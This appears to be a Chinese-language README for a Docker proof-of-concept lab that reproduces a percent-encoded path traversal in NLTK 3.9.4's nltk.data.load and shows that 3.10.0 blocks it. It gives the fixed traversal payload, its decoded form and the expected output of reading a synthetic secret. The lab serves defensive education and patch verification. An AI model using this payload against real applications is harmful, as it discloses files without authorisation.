一个小型、可复现的 Docker 实验环境,用于对比 NLTK 3.9.4 中百分号编码路径遍历行为与 NLTK 3.10.0 中修正后的行为。
存在漏洞的版本在 URL 解码之前验证资源名称。固定载荷 %2e%2e/%2e%2e/outside/lab-secret.txt 通过检查,随后被解码为 ../../outside/lab-secret.txt,并逃逸了配置的 NLTK 数据目录和进程工作目录。已修补的版本会拒绝相同的输入。
[!CAUTION] 本仓库仅用于防御性教育和授权测试。该实验环境在隔离容器内使用固定的合成机密。请勿将其改编用于访问您不拥有或未经明确许可测试的系统或数据。
| 容器 | NLTK 版本 | 预期结果 |
|---|---|---|
vulnerable | 3.9.4 | 读取 /lab/nltk_data 之外的合成标记 |
patched | 3.10.0 | 阻止编码后的遍历 |
不使用语料库下载、服务器、端口、绑定挂载或运行时互联网连接。
docker compose)run.sh 的 POSIX shellgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
预期结果:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
受影响的镜像报告 /outside/lab-secret.txt 未授权,但仍返回其内容,因为 NLTK 3.9.4 默认使用仅警告的路径安全机制。异常和警告文本可能略有不同;run.sh 使用进程退出状态(而非脆弱的文本匹配)来判断演示是否通过。
每个镜像包含以下刻意分离的布局:
/
├── app/
│ └── poc.py # 进程 CWD 为 /app
├── lab/
│ └── nltk_data/ # 配置的 NLTK 搜索根目录
└── outside/
└── lab-secret.txt # 公开的合成标记
poc.py 将 nltk.data.path 替换为 /lab/nltk_data,并将固定资源名称 %2e%2e/%2e%2e/outside/lab-secret.txt 传递给 nltk.data.load(..., format="raw")。在受影响的版本中,解码发生在验证流程中过晚的阶段:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
由于工作目录为 /app,金丝雀文件位于对演示至关重要的两个位置(/app 和 /lab/nltk_data)之外。
该脚本有两个明确的断言:
任何其他结果都会以非零状态退出,因此自动化检查不会报告虚假的成功。
Compose 配置有意限制实验环境:
network_mode: none 在任一演示运行时禁用网络。no-new-privileges。noexec 临时文件系统可写。fixtures/lab-secret.txt,一个在构建期间复制到镜像中的公开测试标记。镜像构建需要访问软件包索引以安装两个固定版本的 NLTK。运行时执行是离线的。
nltk.data.load() 或 nltk.data.find() 的资源名称时,可披露应用程序进程可读取的文件该实验环境固定使用 3.9.4,因为它是原始报告中明确提到的具体版本;固定使用 3.10.0,因为它是维护者公告中记录的第一个修补版本。
升级 NLTK 并保持其最新:
python -m pip install "nltk>=3.10.0"
同时避免将不受信任的资源名称传递给文件系统加载 API。在需要用户选择的情况下,将面向用户的标识符映射到应用程序自有资源的允许列表,而不是直接接受路径或 URL。
单独运行任一侧:
docker compose run --rm vulnerable
docker compose run --rm patched
检查完全解析后的 Compose 配置:
docker compose config
移除本地构建的实验镜像:
docker compose down --rmi local
permission denied: ./run.sh — 运行一次 chmod +x run.sh。docker: command not found — 安装 Docker Desktop 或 Docker Engine。docker compose build --no-cache。aec4fce根据 MIT 许可证 发布。